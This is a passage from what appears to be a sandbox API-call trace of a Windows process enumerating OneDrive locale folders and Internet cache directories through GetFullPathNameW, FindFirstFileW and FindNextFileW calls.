lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\nb-no", lpFilePart=0x0) returned 0x45 [0179.753] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.753] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\ne-np", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\ne-np", lpFilePart=0x0) returned 0x45 [0179.754] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\ne-np", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\ne-np", lpFilePart=0x0) returned 0x45 [0179.757] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.758] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\nl", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\nl", lpFilePart=0x0) returned 0x42 [0179.758] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\nl", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\nl", lpFilePart=0x0) returned 0x42 [0179.759] FindClose (in: hFindFile=0x135f410 | out: hFindFile=0x135f410) returned 1 [0179.759] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\nn-no", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\nn-no", lpFilePart=0x0) returned 0x45 [0179.759] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\nn-no", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\nn-no", lpFilePart=0x0) returned 0x45 [0179.760] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.760] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\nso-za", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\nso-za", lpFilePart=0x0) returned 0x46 [0179.760] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\nso-za", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\nso-za", lpFilePart=0x0) returned 0x46 [0179.762] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0179.762] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\or-in", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\or-in", lpFilePart=0x0) returned 0x45 [0179.762] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\or-in", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\or-in", lpFilePart=0x0) returned 0x45 [0179.763] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.763] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\pa", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\pa", lpFilePart=0x0) returned 0x42 [0179.763] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\pa", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\pa", lpFilePart=0x0) returned 0x42 [0179.764] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0179.764] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\pa-arab", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\pa-arab", lpFilePart=0x0) returned 0x47 [0179.765] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\pa-arab", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\pa-arab", lpFilePart=0x0) returned 0x47 [0179.766] FindClose (in: hFindFile=0x135f490 | out: hFindFile=0x135f490) returned 1 [0179.766] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\pl", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\pl", lpFilePart=0x0) returned 0x42 [0179.766] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\pl", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\pl", lpFilePart=0x0) returned 0x42 [0179.767] FindClose (in: hFindFile=0x135f890 | out: hFindFile=0x135f890) returned 1 [0179.767] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\platforms", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\platforms", lpFilePart=0x0) returned 0x49 [0179.767] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\platforms", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\platforms", lpFilePart=0x0) returned 0x49 [0179.769] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.769] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\prs-af", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\prs-af", lpFilePart=0x0) returned 0x46 [0179.769] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\prs-af", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\prs-af", lpFilePart=0x0) returned 0x46 [0179.770] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0179.770] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\pt-br", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\pt-br", lpFilePart=0x0) returned 0x45 [0179.770] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\pt-br", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\pt-br", lpFilePart=0x0) returned 0x45 [0179.772] FindClose (in: hFindFile=0x135f950 | out: hFindFile=0x135f950) returned 1 [0179.772] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\pt-pt", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\pt-pt", lpFilePart=0x0) returned 0x45 [0179.772] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\pt-pt", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\pt-pt", lpFilePart=0x0) returned 0x45 [0179.773] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.773] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\qml", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\qml", lpFilePart=0x0) returned 0x43 [0179.773] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\qml", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\qml", lpFilePart=0x0) returned 0x43 [0179.775] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.775] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\qut-latn", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\qut-latn", lpFilePart=0x0) returned 0x48 [0179.775] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\qut-latn", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\qut-latn", lpFilePart=0x0) returned 0x48 [0179.779] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0179.780] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\quz-pe", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\quz-pe", lpFilePart=0x0) returned 0x46 [0179.780] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\quz-pe", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\quz-pe", lpFilePart=0x0) returned 0x46 [0179.781] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.782] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\ro", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\ro", lpFilePart=0x0) returned 0x42 [0179.782] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\ro", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\ro", lpFilePart=0x0) returned 0x42 [0179.783] FindClose (in: hFindFile=0x135f9d0 | out: hFindFile=0x135f9d0) returned 1 [0179.784] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\ru", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\ru", lpFilePart=0x0) returned 0x42 [0179.784] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\ru", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\ru", lpFilePart=0x0) returned 0x42 [0179.785] FindClose (in: hFindFile=0x135f450 | out: hFindFile=0x135f450) returned 1 [0179.785] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\rw", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\rw", lpFilePart=0x0) returned 0x42 [0179.785] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\rw", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\rw", lpFilePart=0x0) returned 0x42 [0179.786] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0179.787] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\sd-arab", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\sd-arab", lpFilePart=0x0) returned 0x47 [0179.787] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\sd-arab", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\sd-arab", lpFilePart=0x0) returned 0x47 [0179.788] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0179.789] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0179.790] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0179.855] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.MSO", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.MSO", lpFilePart=0x0) returned 0x45 [0179.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.855] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.MSO", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.MSO", lpFilePart=0x0) returned 0x45 [0179.855] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.MSO\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x50f2d181, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x30c1a283, ftLastAccessTime.dwHighDateTime=0x1d5c566, ftLastWriteTime.dwLowDateTime=0x30c1a283, ftLastWriteTime.dwHighDateTime=0x1d5c566, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f610 [0179.856] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x50f2d181, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x30c1a283, ftLastAccessTime.dwHighDateTime=0x1d5c566, ftLastWriteTime.dwLowDateTime=0x30c1a283, ftLastWriteTime.dwHighDateTime=0x1d5c566, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.856] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb213bb5b, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xb213bb5b, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xb213bb5b, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogFiles", cAlternateFileName="VISIOL~1")) returned 1 [0179.856] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb213bb5b, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xb213bb5b, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xb213bb5b, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogFiles", cAlternateFileName="VISIOL~1")) returned 0 [0179.856] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0179.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.863] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Word", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Word", lpFilePart=0x0) returned 0x46 [0179.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.863] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Word", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Word", lpFilePart=0x0) returned 0x46 [0179.864] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Word\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe3955f00, ftCreationTime.dwHighDateTime=0x1d3aafb, ftLastAccessTime.dwLowDateTime=0xd8e80ee4, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xd8f8bf17, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.864] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe3955f00, ftCreationTime.dwHighDateTime=0x1d3aafb, ftLastAccessTime.dwLowDateTime=0xd8e80ee4, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xd8f8bf17, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.864] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd86e74a9, ftCreationTime.dwHighDateTime=0x1d69a98, ftLastAccessTime.dwLowDateTime=0xd86e74a9, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xdb372a87, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="~WRF{6D5DBC8C-16C1-4A58-A040-99DFEA6327FE}.tmp", cAlternateFileName="~WRF{6~1.TMP")) returned 1 [0179.864] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd8f8bf17, ftCreationTime.dwHighDateTime=0x1d69a98, ftLastAccessTime.dwLowDateTime=0xd8f8bf17, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xd8f8bf17, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="~WRS{1C6F88F9-3A2B-4870-8036-B45D6342B8A0}.tmp", cAlternateFileName="~WRS{1~1.TMP")) returned 1 [0179.864] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd8b85d70, ftCreationTime.dwHighDateTime=0x1d69a98, ftLastAccessTime.dwLowDateTime=0xd8b85d70, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xd8b85d70, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="~WRS{7C6E615B-1854-42E0-91AB-591B73FE8FE9}.tmp", cAlternateFileName="~WRS{7~1.TMP")) returned 1 [0179.864] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd8e80ee4, ftCreationTime.dwHighDateTime=0x1d69a98, ftLastAccessTime.dwLowDateTime=0xd8e80ee4, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xd8e80ee4, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="~WRS{8D85F46B-3017-47F2-BE9D-357835023F7D}.tmp", cAlternateFileName="~WRS{8~1.TMP")) returned 1 [0179.864] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce16f2a8, ftCreationTime.dwHighDateTime=0x1d69a98, ftLastAccessTime.dwLowDateTime=0xce16f2a8, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xce16f2a8, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="~WRS{B2CD12CC-9593-4EAE-8A01-EAC4E61F0B28}.tmp", cAlternateFileName="~WRS{B~1.TMP")) returned 1 [0179.865] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.865] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.865] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE", lpFilePart=0x0) returned 0x3c [0179.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.865] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE", lpFilePart=0x0) returned 0x3c [0179.865] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcdae55d7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78b4560a, ftLastAccessTime.dwHighDateTime=0x1d5e1c4, ftLastWriteTime.dwLowDateTime=0x78b4560a, ftLastWriteTime.dwHighDateTime=0x1d5e1c4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f610 [0179.865] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xcdae55d7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78b4560a, ftLastAccessTime.dwHighDateTime=0x1d5e1c4, ftLastWriteTime.dwLowDateTime=0x78b4560a, ftLastWriteTime.dwHighDateTime=0x1d5e1c4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.865] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xce9337cd, ftCreationTime.dwHighDateTime=0x1d32743, 